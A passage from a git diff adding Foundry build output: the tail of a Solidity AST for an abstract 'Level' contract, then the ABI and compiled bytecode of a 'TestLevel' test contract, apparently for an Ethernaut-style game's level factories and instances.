payable"}},"visibility":"internal"},{"constant":false,"id":55502,"mutability":"mutable","name":"_player","nameLocation":"302:7:115","nodeType":"VariableDeclaration","scope":55507,"src":"294:15:115","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55501,"name":"address","nodeType":"ElementaryTypeName","src":"294:7:115","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"266:44:115"},"returnParameters":{"id":55506,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55505,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55507,"src":"335:4:115","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55504,"name":"bool","nodeType":"ElementaryTypeName","src":"335:4:115","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"334:6:115"},"scope":55508,"stateMutability":"nonpayable","virtual":true,"visibility":"public"}],"abstract":true,"baseContracts":[{"baseName":{"id":55490,"name":"Ownable","nameLocations":["140:7:115"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"140:7:115"},"id":55491,"nodeType":"InheritanceSpecifier","src":"140:7:115"}],"canonicalName":"Level","contractDependencies":[],"contractKind":"contract","fullyImplemented":false,"linearizedBaseContracts":[55508,46700,48281],"name":"Level","nameLocation":"131:5:115","scope":55509,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":115} \ No newline at end of file diff --git a/contracts/out/Level.t.sol/TestLevel.json b/contracts/out/Level.t.sol/TestLevel.json new file mode 100644 index 000000000..27fdf0f6b --- /dev/null +++ b/contracts/out/Level.t.sol/TestLevel.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testCreationMultipleLevels","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600c8054600160ff199182168117909255601e8054909116909117905534801561002c575f80fd5b506194888061003a5f395ff3fe608060405234801561000f575f80fd5b50600436106100da575f3560e01c806385226c8111610088578063ba414fa611610063578063ba414fa614610165578063e20c9f711461017d578063ef0e7d2f14610185578063fa7626d41461018d575f80fd5b806385226c8114610140578063916a17c614610155578063b5508aa91461015d575f80fd5b80633e5e3c23116100b85780633e5e3c231461011b5780633f7286f41461012357806366d9a9a01461012b575f80fd5b80630a9254e4146100de5780631ed7831c146100e85780632ade388014610106575b5f80fd5b6100e661019a565b005b6100f0610c37565b6040516100fd9190611e0a565b60405180910390f35b61010e610c97565b6040516100fd9190611e56565b6100f0610dd3565b6100f0610e31565b610133610e8f565b6040516100fd9190611f46565b610148610f85565b6040516100fd9190612001565b610133611050565b610148611146565b61016d611211565b60405190151581526020016100fd565b6100f06112e1565b6100e661133f565b601e5461016d9060ff1681565b6040516101a690611df0565b604051809103905ff0801580156101bf573d5f803e3d5ffd5b50601f80546001600160a01b0319166001600160a01b039290921691821790556040517f792e11f5000000000000000000000000000000000000000000000000000000008152600b60048201525f919063792e11f5906024015f604051808303815f875af1158015610233573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261025a91908101906120bd565b9050805f8151811061026e5761026e61217d565b60209081029190910181015181546001600160a01b0319166001600160a01b0391821617909155602154604080516318caf8e360e31b81529190921660048201526024810191909152600960448201527f45746865726e61757400000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801561031a575f80fd5b505af115801561032c573d5f803e3d5ffd5b50505050806001815181106103435761034361217d565b6020908102919091010151602180546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b8152600480820193909352602481019190915260448101919091527f55736572000000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156103ef575f80fd5b505af1158015610401573d5f803e3d5ffd5b50505050806002815181106104185761041861217d565b6020908102919091010151602280546001600160a01b0319166001600160a01b03928316179055602154604080516318caf8e360e31b81529190921660048201526024810191909152600660448201527f55736572203200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156104c4575f80fd5b505af11580156104d6573d5f803e3d5ffd5b50505050806003815181106104ed576104ed61217d565b6020908102919091010151602380546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600f60448201527f4c6576656c20466163746f7279203100000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610594575f80fd5b505af11580156105a6573d5f803e3d5ffd5b50505050806004815181106105bd576105bd61217d565b6020908102919091010151602480546001600160a01b0319166001600160a01b039092169182178155604080516318caf8e360e31b8152600481019390935290820152600f60448201527f4c6576656c20466163746f7279203200000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610663575f80fd5b505af1158015610675573d5f803e3d5ffd5b505050508060058151811061068c5761068c61217d565b6020908102919091010151602580546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600f60448201527f4c6576656c20466163746f7279203300000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610733575f80fd5b505af1158015610745573d5f803e3d5ffd5b505050508060068151811061075c5761075c61217d565b6020908102919091010151602680546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652031000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610803575f80fd5b505af1158015610815573d5f803e3d5ffd5b505050508060078151811061082c5761082c61217d565b6020908102919091010151602780546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652032000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156108d3575f80fd5b505af11580156108e5573d5f803e3d5ffd5b50505050806008815181106108fc576108fc61217d565b6020908102919091010151602880546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652033000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156109a3575f80fd5b505af11580156109b5573d5f803e3d5ffd5b50505050806009815181106109cc576109cc61217d565b6020908102919091010151602980546001600160a01b0319166001600160a01b03928316179055602854604080516318caf8e360e31b81529190921660048201526024810191909152601060448201527f4c6576656c20496e7374616e63652034000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610a78575f80fd5b505af1158015610a8a573d5f803e3d5ffd5b5050505080600a81518110610aa157610aa161217d565b6020908102919091010151602a80546001600160a01b0319166001600160a01b03928316179055602854604080516318caf8e360e31b81529190921660048201526024810191909152601060448201527f4c6576656c20496e7374616e63652035000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610b4d575f80fd5b505af1158015610b5f573d5f803e3d5ffd5b50505050604051610b6f90611dfd565b604051809103905ff080158015610b88573d5f803e3d5ffd5b50601e80547fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b03938416810291909117918290556020546040517fc4d66de8000000000000000000000000000000000000000000000000000000008152908416600482015291049091169063c4d66de8906024015f604051808303815f87803b158015610c1e575f80fd5b505af1158015610c30573d5f803e3d5ffd5b5050505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610c8d57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610c6f575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015610dca575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015610db3578382905f5260205f20018054610d2890612191565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5490612191565b8015610d9f5780601f10610d7657610100808354040283529160200191610d9f565b820191905f5260205f20905b815481529060010190602001808311610d8257829003601f168201915b505050505081526020019060010190610d0b565b505050508152505081526020019060010190610cba565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610c8d57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610c6f575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610c8d57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610c6f575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015610dca575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015610f6d57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411610f1a5790505b50505050508152505081526020019060010190610eb2565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015610dca578382905f5260205f20018054610fc590612191565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff190612191565b801561103c5780601f106110135761010080835404028352916020019161103c565b820191905f5260205f20905b81548152906001019060200180831161101f57829003601f168201915b505050505081526020019060010190610fa8565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015610dca575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801561112e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116110db5790505b50505050508152505081526020019060010190611073565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015610dca578382905f5260205f2001805461118690612191565b80601f01602080910402602001604051908101604052809291908181526020018280546111b290612191565b80156111fd5780601f106111d4576101008083540402835291602001916111fd565b820191905f5260205f20905b8154815290600101906020018083116111e057829003601f168201915b505050505081526020019060010190611169565b6008545f9060ff1615611228575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156112b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112da91906121c9565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610c8d57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610c6f575050505050905090565b6020546040517f06447d560000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156113ae575f80fd5b505af11580156113c0573d5f803e3d5ffd5b5050601e5460235460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b15801561140f575f80fd5b505af1158015611421573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b15801561146f575f80fd5b505af1158015611481573d5f803e3d5ffd5b5050601e5460255460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b1580156114d0575f80fd5b505af11580156114e2573d5f803e3d5ffd5b5050601e54602654602354602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611546575f80fd5b505af1158015611558573d5f803e3d5ffd5b5050601e5460275460248054602154604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b1580156115c0575f80fd5b505af11580156115d2573d5f803e3d5ffd5b5050601e54602854602554602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611636575f80fd5b505af1158015611648573d5f803e3d5ffd5b5050601e54602954602354602254604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b1580156116ac575f80fd5b505af11580156116be573d5f803e3d5ffd5b5050601e54602a5460248054602254604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611726575f80fd5b505af1158015611738573d5f803e3d5ffd5b505050506117bb601e60019054906101000a90046001600160a01b03166001600160a01b0316637cbe8d046040518163ffffffff1660e01b8152600401602060405180830381865afa158015611790573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117b491906121c9565b6005611d6d565b61183a601e60019054906101000a90046001600160a01b03166001600160a01b031663fb66d7ab6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061183391906121c9565b6002611d6d565b601e54602654602354602154604051631601c61960e11b81526001600160a01b0393841660048201529183166024830152821660448201526101009092041690632c038c32906064015f604051808303815f87803b15801561189a575f80fd5b505af11580156118ac573d5f803e3d5ffd5b5050601e5460275460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611914575f80fd5b505af1158015611926573d5f803e3d5ffd5b5050601e546028546025546021546040516306878c8f60e51b81526001600160a01b03938416600482015291831660248301528216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b15801561198a575f80fd5b505af115801561199c573d5f803e3d5ffd5b5050601e54602954602354602254604051631601c61960e11b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611a00575f80fd5b505af1158015611a12573d5f803e3d5ffd5b5050601e54602a54602480546022546040516306878c8f60e51b81526001600160a01b03948516600482015291841692820192909252908216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b158015611a7a575f80fd5b505af1158015611a8c573d5f803e3d5ffd5b50505050611b0f601e60019054906101000a90046001600160a01b03166001600160a01b031663900f09ac6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b0891906121c9565b6003611d6d565b611b63601e60019054906101000a90046001600160a01b03166001600160a01b0316637ceb95336040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180f573d5f803e3d5ffd5b601e54602354604051639cbf280d60e01b81526001600160a01b039182166004820152611bb892610100900490911690639cbf280d906024015b602060405180830381865afa15801561180f573d5f803e3d5ffd5b601e5460248054604051639cbf280d60e01b81526001600160a01b039182166004820152611bf593610100900490911691639cbf280d9101611b9d565b601e54602554604051639cbf280d60e01b81526001600160a01b039182166004820152611c7592610100900490911690639cbf280d906024015b602060405180830381865afa158015611c4a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c6e91906121c9565b6001611d6d565b601e54602354604051633d9aeaef60e01b81526001600160a01b039182166004820152611cb392610100900490911690633d9aeaef90602401611b9d565b601e5460248054604051633d9aeaef60e01b81526001600160a01b039182166004820152611cf093610100900490911691633d9aeaef9101611c2f565b601e546024805460405163e041ae9b60e01b81526001600160a01b039182166004820152611d2d9361010090049091169163e041ae9b9101611c2f565b601e5460255460405163e041ae9b60e01b81526001600160a01b039182166004820152611d6b9261010090049091169063e041ae9b90602401611c2f565b565b6040517f98296c540000000000000000000000000000000000000000000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015f6040518083038186803b158015611dd6575f80fd5b505afa158015611de8573d5f803e3d5ffd5b505050505050565b6153f8806121e183390190565b611e7a806175d983390190565b602080825282518282018190525f9190848201906040850190845b81811015611e4a5783516001600160a01b031683529284019291840191600101611e25565b50909695505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611f3857603f19898403018552815180516001600160a01b031684528701518784018790528051878501819052908801906060600582901b8601810191908601905f5b81811015611f2257878403605f19018352845180518086525f5b81811015611efc578e81840101518f82890101528e81019050611ede565b505f8682018f0152958d0195601f01601f19169094018c019350918b0191600101611ec4565b5050509588019593505090860190600101611e7d565b509098975050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611f3857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015611fec5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190611faa565b50968901969450505090860190600101611f6d565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b8281101561208157878503603f19018452815180518087525f5b8181101561205b578281018901518882018a01528801612040565b505f878201890152601f01601f1916909501860194509285019290850190600101612026565b5092979650505050505050565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b03811681146120b8575f80fd5b919050565b5f60208083850312156120ce575f80fd5b825167ffffffffffffffff808211156120e5575f80fd5b818501915085601f8301126120f8575f80fd5b81518181111561210a5761210a61208e565b8060051b604051601f19603f8301168101818110858211171561212f5761212f61208e565b60405291825284820192508381018501918883111561214c575f80fd5b938501935b8285101561217157612162856120a2565b84529385019392850192612151565b98975050505050505050565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806121a557607f821691505b6020821081036121c357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156121d9575f80fd5b505191905056fe600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a93